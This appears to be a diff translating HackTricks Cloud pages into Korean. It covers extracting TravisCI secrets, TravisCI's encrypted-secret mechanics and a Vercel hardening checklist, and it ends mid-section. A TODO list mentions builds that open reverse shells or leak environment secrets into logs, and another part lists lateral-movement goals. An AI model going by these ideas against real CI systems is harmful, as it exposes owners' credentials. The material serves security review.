- **암호화된 파일**을 나열하려면 리포지토리에서 **`.enc` 파일**을 확인하거나, 구성 파일에서 `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d`와 유사한 줄을 찾거나, **환경 변수**에서 **암호화된 iv 및 키**를 확인할 수 있습니다:
|
||||
|
||||
.png>)
|
||||
|
||||
### TODO:
|
||||
|
||||
- Example build with reverse shell running on Windows/Mac/Linux
|
||||
- Example build leaking the env base64 encoded in the logs
|
||||
- Windows/Mac/Linux에서 리버스 셸이 실행되는 예제 빌드
|
||||
- 로그에 base64로 인코딩된 env를 유출하는 예제 빌드
|
||||
|
||||
### TravisCI Enterprise
|
||||
|
||||
If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to:
|
||||
공격자가 **TravisCI enterprise**를 사용하는 환경에 도달하면(이것에 대한 더 많은 정보는 [**기본 정보**](basic-travisci-information.md#travisci-enterprise)에서 확인할 수 있습니다), 그는 **Worker에서 빌드를 트리거**할 수 있습니다. 이는 공격자가 해당 서버로 수평 이동할 수 있음을 의미하며, 그로부터 다음을 수행할 수 있습니다:
|
||||
|
||||
- escape to the host?
|
||||
- compromise kubernetes?
|
||||
- compromise other machines running in the same network?
|
||||
- compromise new cloud credentials?
|
||||
- 호스트로 탈출할 수 있습니까?
|
||||
- 쿠버네티스를 손상시킬 수 있습니까?
|
||||
- 동일한 네트워크에서 실행 중인 다른 머신을 손상시킬 수 있습니까?
|
||||
- 새로운 클라우드 자격 증명을 손상시킬 수 있습니까?
|
||||
|
||||
## References
|
||||
|
||||
@@ -63,7 +63,3 @@ If an attacker ends in an environment which uses **TravisCI enterprise** (more i
|
||||
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,45 +4,42 @@
|
||||
|
||||
## Access
|
||||
|
||||
TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI.
|
||||
TravisCI는 Github, Bitbucket, Assembla, Gitlab과 같은 다양한 git 플랫폼과 직접 통합됩니다. 사용자는 TravisCI가 통합하고자 하는 리포지토리에 접근할 수 있는 권한을 부여하라는 요청을 받습니다.
|
||||
|
||||
For example, in Github it will ask for the following permissions:
|
||||
예를 들어, Github에서는 다음과 같은 권한을 요청합니다:
|
||||
|
||||
- `user:email` (read-only)
|
||||
- `read:org` (read-only)
|
||||
- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations.
|
||||
- `user:email` (읽기 전용)
|
||||
- `read:org` (읽기 전용)
|
||||
- `repo`: 공개 및 비공개 리포지토리와 조직에 대한 코드, 커밋 상태, 협력자 및 배포 상태에 대한 읽기 및 쓰기 권한을 부여합니다.
|
||||
|
||||
## Encrypted Secrets
|
||||
|
||||
### Environment Variables
|
||||
|
||||
In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build.
|
||||
TravisCI에서는 다른 CI 플랫폼과 마찬가지로 **리포지토리 수준에서 비밀을 저장**할 수 있으며, 이는 암호화되어 저장되고 **빌드를 실행하는 머신의 환경 변수에 복호화되어 푸시됩니다**.
|
||||
|
||||
.png>)
|
||||
|
||||
It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will).
|
||||
**비밀이 사용 가능한 브랜치를 지정**할 수 있으며(기본값은 모두) TravisCI가 **로그에 나타날 경우 그 값을 숨겨야 하는지** 여부도 설정할 수 있습니다(기본값은 숨김).
|
||||
|
||||
### Custom Encrypted Secrets
|
||||
|
||||
For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repository’s **public key available** to those who have **access** to the repository.
|
||||
|
||||
You can access the public key of one repo with:
|
||||
각 **리포지토리**에 대해 TravisCI는 **RSA 키 쌍**을 생성하고, **개인 키**를 보관하며, 리포지토리에 **접근할 수 있는 사람들에게** 리포지토리의 **공개 키를 제공합니다**.
|
||||
|
||||
하나의 리포지토리의 공개 키에 접근하려면:
|
||||
```
|
||||
travis pubkey -r <owner>/<repo_name>
|
||||
travis pubkey -r carlospolop/t-ci-test
|
||||
```
|
||||
|
||||
Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**.
|
||||
그런 다음, 이 설정을 사용하여 **비밀을 암호화하고 이를 `.travis.yaml`에 추가할 수 있습니다**. 비밀은 **빌드가 실행될 때 복호화되며** **환경 변수**에서 접근할 수 있습니다.
|
||||
|
||||
.png>)
|
||||
|
||||
Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings.
|
||||
이렇게 암호화된 비밀은 설정의 환경 변수 목록에 나타나지 않는다는 점에 유의하세요.
|
||||
|
||||
### Custom Encrypted Files
|
||||
|
||||
Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**:
|
||||
### 사용자 정의 암호화 파일
|
||||
|
||||
이전과 같은 방식으로, TravisCI는 **파일을 암호화한 다음 빌드 중에 복호화할 수 있도록 허용합니다**:
|
||||
```
|
||||
travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
|
||||
|
||||
@@ -52,7 +49,7 @@ storing secure env variables for decryption
|
||||
|
||||
Please add the following to your build script (before_install stage in your .travis.yml, for instance):
|
||||
|
||||
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
|
||||
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
|
||||
|
||||
Pro Tip: You can add it automatically by running with --add.
|
||||
|
||||
@@ -60,37 +57,32 @@ Make sure to add super_secret.txt.enc to the git repository.
|
||||
Make sure not to add super_secret.txt to the git repository.
|
||||
Commit all changes to your .travis.yml.
|
||||
```
|
||||
|
||||
Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
|
||||
|
||||
.png>)
|
||||
|
||||
## TravisCI Enterprise
|
||||
|
||||
Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the ‘server’ version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to.
|
||||
Travis CI Enterprise는 **Travis CI의 온프레미스 버전**으로, **귀하의 인프라에 배포할 수 있습니다**. Travis CI의 '서버' 버전이라고 생각하십시오. Travis CI를 사용하면 원하는 대로 구성하고 보안할 수 있는 환경에서 사용하기 쉬운 지속적 통합/지속적 배포(CI/CD) 시스템을 활성화할 수 있습니다.
|
||||
|
||||
**Travis CI Enterprise consists of two major parts:**
|
||||
**Travis CI Enterprise는 두 가지 주요 부분으로 구성됩니다:**
|
||||
|
||||
1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc.
|
||||
2. TCI **Worker** and build environment images (also called OS images).
|
||||
1. TCI **서비스**(또는 TCI Core Services), 버전 관리 시스템과의 통합, 빌드 승인, 빌드 작업 예약 등을 담당합니다.
|
||||
2. TCI **Worker** 및 빌드 환경 이미지(운영 체제 이미지라고도 함).
|
||||
|
||||
**TCI Core services require the following:**
|
||||
**TCI Core 서비스는 다음을 요구합니다:**
|
||||
|
||||
1. A **PostgreSQL11** (or later) database.
|
||||
2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required
|
||||
3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details.
|
||||
1. **PostgreSQL11**(또는 이후 버전) 데이터베이스.
|
||||
2. Kubernetes 클러스터를 배포할 인프라; 필요에 따라 서버 클러스터 또는 단일 머신에 배포할 수 있습니다.
|
||||
3. 설정에 따라 일부 구성 요소를 직접 배포하고 구성할 수 있습니다. 예: RabbitMQ - 자세한 내용은 [Travis CI Enterprise 설정](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/)을 참조하십시오.
|
||||
|
||||
**TCI Worker requires the following:**
|
||||
**TCI Worker는 다음을 요구합니다:**
|
||||
|
||||
1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**.
|
||||
2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details.
|
||||
1. **Worker와 연결된 빌드 이미지를 포함하는 도커 이미지를 배포할 수 있는 인프라**.
|
||||
2. 특정 Travis CI Core Services 구성 요소에 대한 연결성 - 자세한 내용은 [Worker 설정](https://docs.travis-ci.com/user/enterprise/setting-up-worker/)을 참조하십시오.
|
||||
|
||||
The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure.
|
||||
배포된 TCI Worker 및 빌드 환경 OS 이미지의 수는 귀하의 인프라에서 Travis CI Enterprise 배포의 총 동시 용량을 결정합니다.
|
||||
|
||||
.png>)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,160 +4,157 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**.
|
||||
Vercel에서 **팀**은 클라이언트에 속한 전체 **환경**이며, **프로젝트**는 **애플리케이션**입니다.
|
||||
|
||||
For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also).
|
||||
**Vercel**의 보안 강화를 검토하려면 **Viewer 역할 권한**이 있는 사용자에게 요청하거나, 프로젝트를 확인하기 위해 최소한 **프로젝트 뷰어 권한**을 요청해야 합니다(팀 구성도 확인할 필요가 없는 경우).
|
||||
|
||||
## Project Settings
|
||||
|
||||
### General
|
||||
|
||||
**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations.
|
||||
**목적:** 프로젝트 이름, 프레임워크 및 빌드 구성과 같은 기본 프로젝트 설정을 관리합니다.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Transfer**
|
||||
- **Misconfiguration:** Allows to transfer the project to another team
|
||||
- **Risk:** An attacker could steal the project
|
||||
- **Misconfiguration:** 프로젝트를 다른 팀으로 전송할 수 있습니다.
|
||||
- **Risk:** 공격자가 프로젝트를 훔칠 수 있습니다.
|
||||
- **Delete Project**
|
||||
- **Misconfiguration:** Allows to delete the project 
|
||||
- **Risk:** Delete the prject
|
||||
- **Misconfiguration:** 프로젝트를 삭제할 수 있습니다.
|
||||
- **Risk:** 프로젝트가 삭제됩니다.
|
||||
|
||||
---
|
||||
|
||||
### Domains
|
||||
|
||||
**Purpose:** Manage custom domains, DNS settings, and SSL configurations.
|
||||
**목적:** 사용자 정의 도메인, DNS 설정 및 SSL 구성을 관리합니다.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **DNS Configuration Errors**
|
||||
- **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers.
|
||||
- **Risk:** Domain hijacking, traffic interception, and phishing attacks.
|
||||
- **Misconfiguration:** 악성 서버를 가리키는 잘못된 DNS 레코드(A, CNAME).
|
||||
- **Risk:** 도메인 탈취, 트래픽 가로채기 및 피싱 공격.
|
||||
- **SSL/TLS Certificate Management**
|
||||
- **Misconfiguration:** Using weak or expired SSL/TLS certificates.
|
||||
- **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality.
|
||||
- **Misconfiguration:** 약하거나 만료된 SSL/TLS 인증서를 사용합니다.
|
||||
- **Risk:** 중간자(MITM) 공격에 취약해져 데이터 무결성과 기밀성이 손상됩니다.
|
||||
- **DNSSEC Implementation**
|
||||
- **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings.
|
||||
- **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks.
|
||||
- **Misconfiguration:** DNSSEC를 활성화하지 않거나 잘못된 DNSSEC 설정.
|
||||
- **Risk:** DNS 스푸핑 및 캐시 오염 공격에 대한 취약성이 증가합니다.
|
||||
- **Environment used per domain**
|
||||
- **Misconfiguration:** Change the environment used by the domain in production.
|
||||
- **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production.
|
||||
- **Misconfiguration:** 프로덕션에서 도메인에 사용되는 환경을 변경합니다.
|
||||
- **Risk:** 프로덕션에서 사용해서는 안 되는 잠재적인 비밀이나 기능이 노출됩니다.
|
||||
|
||||
---
|
||||
|
||||
### Environments
|
||||
|
||||
**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables.
|
||||
**목적:** 특정 설정 및 변수를 가진 다양한 환경(개발, 미리보기, 프로덕션)을 정의합니다.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Environment Isolation**
|
||||
- **Misconfiguration:** Sharing environment variables across environments.
|
||||
- **Risk:** Leakage of production secrets into development or preview environments, increasing exposure.
|
||||
- **Misconfiguration:** 환경 간에 환경 변수를 공유합니다.
|
||||
- **Risk:** 프로덕션 비밀이 개발 또는 미리보기 환경으로 유출되어 노출이 증가합니다.
|
||||
- **Access to Sensitive Environments**
|
||||
- **Misconfiguration:** Allowing broad access to production environments.
|
||||
- **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches.
|
||||
- **Misconfiguration:** 프로덕션 환경에 대한 광범위한 접근을 허용합니다.
|
||||
- **Risk:** 무단 변경 또는 라이브 애플리케이션에 대한 접근으로 인해 잠재적인 다운타임이나 데이터 유출이 발생할 수 있습니다.
|
||||
|
||||
---
|
||||
|
||||
### Environment Variables
|
||||
|
||||
**Purpose:** Manage environment-specific variables and secrets used by the application.
|
||||
**목적:** 애플리케이션에서 사용하는 환경별 변수 및 비밀을 관리합니다.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Exposing Sensitive Variables**
|
||||
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
|
||||
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
|
||||
- **Misconfiguration:** 민감한 변수를 `NEXT_PUBLIC_`로 접두어를 붙여 클라이언트 측에서 접근할 수 있게 합니다.
|
||||
- **Risk:** API 키, 데이터베이스 자격 증명 또는 기타 민감한 데이터가 공개되어 데이터 유출이 발생할 수 있습니다.
|
||||
- **Sensitive disabled**
|
||||
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
- **Shared Environment Variables**
|
||||
- **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
- **Misconfiguration:** 비활성화된 경우(기본값) 생성된 비밀의 값을 읽을 수 있습니다.
|
||||
- **Risk:** 민감한 정보의 우발적 노출 또는 무단 접근 가능성이 증가합니다.
|
||||
|
||||
---
|
||||
|
||||
### Git
|
||||
|
||||
**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers.
|
||||
**목적:** Git 리포지토리 통합, 브랜치 보호 및 배포 트리거를 구성합니다.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Ignored Build Step (TODO)**
|
||||
- **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE.
|
||||
- **Risk:** TBD
|
||||
- **Misconfiguration:** 이 옵션은 새로운 커밋이 GitHub에 푸시될 때 실행될 bash 스크립트/명령을 구성할 수 있는 것처럼 보이며, 이는 RCE를 허용할 수 있습니다.
|
||||
- **Risk:** TBD
|
||||
|
||||
---
|
||||
|
||||
### Integrations
|
||||
|
||||
**Purpose:** Connect third-party services and tools to enhance project functionalities.
|
||||
**목적:** 프로젝트 기능을 향상시키기 위해 타사 서비스 및 도구를 연결합니다.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Insecure Third-Party Integrations**
|
||||
- **Misconfiguration:** Integrating with untrusted or insecure third-party services.
|
||||
- **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations.
|
||||
- **Misconfiguration:** 신뢰할 수 없거나 안전하지 않은 타사 서비스와 통합합니다.
|
||||
- **Risk:** 취약점, 데이터 유출 또는 손상된 통합을 통한 백도어의 도입.
|
||||
- **Over-Permissioned Integrations**
|
||||
- **Misconfiguration:** Granting excessive permissions to integrated services.
|
||||
- **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions.
|
||||
- **Misconfiguration:** 통합된 서비스에 과도한 권한을 부여합니다.
|
||||
- **Risk:** 프로젝트 리소스에 대한 무단 접근, 데이터 조작 또는 서비스 중단.
|
||||
- **Lack of Integration Monitoring**
|
||||
- **Misconfiguration:** Failing to monitor and audit third-party integrations.
|
||||
- **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches.
|
||||
- **Misconfiguration:** 타사 통합을 모니터링하고 감사하지 않습니다.
|
||||
- **Risk:** 손상된 통합의 지연된 탐지로 인해 보안 위반의 잠재적 영향이 증가합니다.
|
||||
|
||||
---
|
||||
|
||||
### Deployment Protection
|
||||
|
||||
**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments.
|
||||
**목적:** 다양한 보호 메커니즘을 통해 배포를 안전하게 하고, 누가 환경에 접근하고 배포할 수 있는지를 제어합니다.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
**Vercel Authentication**
|
||||
|
||||
- **Misconfiguration:** Disabling authentication or not enforcing team member checks.
|
||||
- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse.
|
||||
- **Misconfiguration:** 인증을 비활성화하거나 팀원 확인을 시행하지 않습니다.
|
||||
- **Risk:** 무단 사용자가 배포에 접근할 수 있어 데이터 유출 또는 애플리케이션 오용이 발생할 수 있습니다.
|
||||
|
||||
**Protection Bypass for Automation**
|
||||
|
||||
- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets.
|
||||
- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments.
|
||||
- **Misconfiguration:** 우회 비밀을 공개적으로 노출하거나 약한 비밀을 사용합니다.
|
||||
- **Risk:** 공격자가 배포 보호를 우회하여 보호된 배포에 접근하고 조작할 수 있습니다.
|
||||
|
||||
**Shareable Links**
|
||||
|
||||
- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links.
|
||||
- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions.
|
||||
- **Misconfiguration:** 링크를 무차별적으로 공유하거나 오래된 링크를 철회하지 않습니다.
|
||||
- **Risk:** 보호된 배포에 대한 무단 접근, 인증 및 IP 제한을 우회합니다.
|
||||
|
||||
**OPTIONS Allowlist**
|
||||
|
||||
- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints.
|
||||
- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks.
|
||||
- **Misconfiguration:** 지나치게 광범위한 경로 또는 민감한 엔드포인트를 허용합니다.
|
||||
- **Risk:** 공격자가 보호되지 않은 경로를 악용하여 무단 작업을 수행하거나 보안 검사를 우회할 수 있습니다.
|
||||
|
||||
**Password Protection**
|
||||
|
||||
- **Misconfiguration:** Using weak passwords or sharing them insecurely.
|
||||
- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked.
|
||||
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
|
||||
- **Misconfiguration:** 약한 비밀번호를 사용하거나 안전하지 않게 공유합니다.
|
||||
- **Risk:** 비밀번호가 추측되거나 유출될 경우 배포에 대한 무단 접근이 발생할 수 있습니다.
|
||||
- **Note:** **Pro** 플랜에서 **Advanced Deployment Protection**의 일환으로 추가 $150/월에 제공됩니다.
|
||||
|
||||
**Deployment Protection Exceptions**
|
||||
|
||||
- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently.
|
||||
- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access.
|
||||
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
|
||||
- **Misconfiguration:** 실수로 프로덕션 또는 민감한 도메인을 예외 목록에 추가합니다.
|
||||
- **Risk:** 중요한 배포가 공개되어 데이터 유출 또는 무단 접근이 발생할 수 있습니다.
|
||||
- **Note:** **Pro** 플랜에서 **Advanced Deployment Protection**의 일환으로 추가 $150/월에 제공됩니다.
|
||||
|
||||
**Trusted IPs**
|
||||
|
||||
- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges.
|
||||
- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access.
|
||||
- **Note:** Available on the **Enterprise** plan.
|
||||
- **Misconfiguration:** IP 주소 또는 CIDR 범위를 잘못 지정합니다.
|
||||
- **Risk:** 정당한 사용자가 차단되거나 무단 IP가 접근할 수 있습니다.
|
||||
- **Note:** **Enterprise** 플랜에서 제공됩니다.
|
||||
|
||||
---
|
||||
|
||||
### Functions
|
||||
|
||||
**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies.
|
||||
**목적:** 런타임 설정, 메모리 할당 및 보안 정책을 포함한 서버리스 기능을 구성합니다.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
@@ -167,81 +164,81 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro
|
||||
|
||||
### Data Cache
|
||||
|
||||
**Purpose:** Manage caching strategies and settings to optimize performance and control data storage.
|
||||
**목적:** 성능을 최적화하고 데이터 저장을 제어하기 위해 캐싱 전략 및 설정을 관리합니다.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Purge Cache**
|
||||
- **Misconfiguration:** It allows to delete all the cache.
|
||||
- **Risk:** Unauthorized users deleting the cache leading to a potential DoS.
|
||||
- **Misconfiguration:** 모든 캐시를 삭제할 수 있습니다.
|
||||
- **Risk:** 무단 사용자가 캐시를 삭제하여 잠재적인 DoS를 초래할 수 있습니다.
|
||||
|
||||
---
|
||||
|
||||
### Cron Jobs
|
||||
|
||||
**Purpose:** Schedule automated tasks and scripts to run at specified intervals.
|
||||
**목적:** 지정된 간격으로 자동화된 작업 및 스크립트를 예약합니다.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Disable Cron Job**
|
||||
- **Misconfiguration:** It allows to disable cron jobs declared inside the code
|
||||
- **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for)
|
||||
- **Misconfiguration:** 코드 내에서 선언된 크론 작업을 비활성화할 수 있습니다.
|
||||
- **Risk:** 서비스 중단의 잠재적 위험(크론 작업의 목적에 따라 다름).
|
||||
|
||||
---
|
||||
|
||||
### Log Drains
|
||||
|
||||
**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing.
|
||||
**목적:** 모니터링 및 감사를 위해 애플리케이션 로그를 캡처하고 저장하기 위해 외부 로깅 서비스를 구성합니다.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- Nothing (managed from teams settings)
|
||||
- Nothing (팀 설정에서 관리됨)
|
||||
|
||||
---
|
||||
|
||||
### Security
|
||||
|
||||
**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more.
|
||||
**목적:** 프로젝트 접근, 소스 보호 등 다양한 보안 관련 설정을 위한 중앙 허브입니다.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
**Build Logs and Source Protection**
|
||||
|
||||
- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly.
|
||||
- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities.
|
||||
- **Misconfiguration:** 보호를 비활성화하거나 `/logs` 및 `/src` 경로를 공개적으로 노출합니다.
|
||||
- **Risk:** 빌드 로그 및 소스 코드에 대한 무단 접근으로 인해 정보 유출 및 잠재적 취약점 악용이 발생할 수 있습니다.
|
||||
|
||||
**Git Fork Protection**
|
||||
|
||||
- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews.
|
||||
- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors.
|
||||
- **Misconfiguration:** 적절한 검토 없이 무단 풀 요청을 허용합니다.
|
||||
- **Risk:** 악의적인 코드가 코드베이스에 병합되어 취약점이나 백도어가 도입될 수 있습니다.
|
||||
|
||||
**Secure Backend Access with OIDC Federation**
|
||||
|
||||
- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs.
|
||||
- **Risk:** Unauthorized access to backend services through flawed authentication flows.
|
||||
- **Misconfiguration:** OIDC 매개변수를 잘못 설정하거나 안전하지 않은 발급자 URL을 사용합니다.
|
||||
- **Risk:** 결함 있는 인증 흐름을 통해 백엔드 서비스에 대한 무단 접근이 발생할 수 있습니다.
|
||||
|
||||
**Deployment Retention Policy**
|
||||
|
||||
- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention).
|
||||
- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments.
|
||||
- **Misconfiguration:** 보존 기간을 너무 짧게 설정(배포 기록 손실)하거나 너무 길게 설정(불필요한 데이터 보존)합니다.
|
||||
- **Risk:** 필요할 때 롤백을 수행할 수 없거나 이전 배포로부터 데이터 노출 위험이 증가합니다.
|
||||
|
||||
**Recently Deleted Deployments**
|
||||
|
||||
- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions.
|
||||
- **Risk:** Loss of critical deployment history, hindering audits and rollbacks.
|
||||
- **Misconfiguration:** 삭제된 배포를 모니터링하지 않거나 자동 삭제에만 의존합니다.
|
||||
- **Risk:** 중요한 배포 기록 손실로 인해 감사 및 롤백이 방해받을 수 있습니다.
|
||||
|
||||
---
|
||||
|
||||
### Advanced
|
||||
|
||||
**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security.
|
||||
**목적:** 구성 조정 및 보안 강화를 위한 추가 프로젝트 설정에 접근합니다.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
**Directory Listing**
|
||||
|
||||
- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file.
|
||||
- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks.
|
||||
- **Misconfiguration:** 디렉토리 목록을 활성화하면 사용자가 인덱스 파일 없이 디렉토리 내용을 볼 수 있습니다.
|
||||
- **Risk:** 민감한 파일, 애플리케이션 구조 및 공격의 잠재적 진입점이 노출됩니다.
|
||||
|
||||
---
|
||||
|
||||
@@ -253,13 +250,13 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro
|
||||
|
||||
**Enable Attack Challenge Mode**
|
||||
|
||||
- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability
|
||||
- **Risk:** Potential user experience problems.
|
||||
- **Misconfiguration:** 이를 활성화하면 DoS에 대한 웹 애플리케이션의 방어력이 향상되지만 사용성의 대가가 따릅니다.
|
||||
- **Risk:** 잠재적인 사용자 경험 문제.
|
||||
|
||||
### Custom Rules & IP Blocking
|
||||
|
||||
- **Misconfiguration:** Allows to unblock/block traffic
|
||||
- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic
|
||||
- **Misconfiguration:** 트래픽을 차단/해제할 수 있습니다.
|
||||
- **Risk:** 악성 트래픽을 허용하거나 정상 트래픽을 차단하여 잠재적인 DoS를 초래할 수 있습니다.
|
||||
|
||||
---
|
||||
|
||||
@@ -267,13 +264,13 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro
|
||||
|
||||
### Source
|
||||
|
||||
- **Misconfiguration:** Allows access to read the complete source code of the application
|
||||
- **Risk:** Potential exposure of sensitive information
|
||||
- **Misconfiguration:** 애플리케이션의 전체 소스 코드를 읽을 수 있는 접근을 허용합니다.
|
||||
- **Risk:** 민감한 정보의 잠재적 노출.
|
||||
|
||||
### Skew Protection
|
||||
|
||||
- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other.
|
||||
- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future
|
||||
- **Misconfiguration:** 이 보호는 클라이언트와 서버 애플리케이션이 항상 동일한 버전을 사용하도록 보장하여 클라이언트가 서버와 다른 버전을 사용하는 비동기화를 방지합니다.
|
||||
- **Risk:** 이를 비활성화하면 향후 새로운 배포에서 DoS 문제가 발생할 수 있습니다.
|
||||
|
||||
---
|
||||
|
||||
@@ -284,11 +281,11 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro
|
||||
#### Security Configurations:
|
||||
|
||||
- **Transfer**
|
||||
- **Misconfiguration:** Allows to transfer all the projects to another team
|
||||
- **Risk:** An attacker could steal the projects
|
||||
- **Misconfiguration:** 모든 프로젝트를 다른 팀으로 전송할 수 있습니다.
|
||||
- **Risk:** 공격자가 프로젝트를 훔칠 수 있습니다.
|
||||
- **Delete Project**
|
||||
- **Misconfiguration:** Allows to delete the team with all the projects 
|
||||
- **Risk:** Delete the projects
|
||||
- **Misconfiguration:** 모든 프로젝트와 함께 팀을 삭제할 수 있습니다.
|
||||
- **Risk:** 프로젝트가 삭제됩니다.
|
||||
|
||||
---
|
||||
|
||||
@@ -297,8 +294,8 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro
|
||||
#### Security Configurations:
|
||||
|
||||
- **Speed Insights Cost Limit**
|
||||
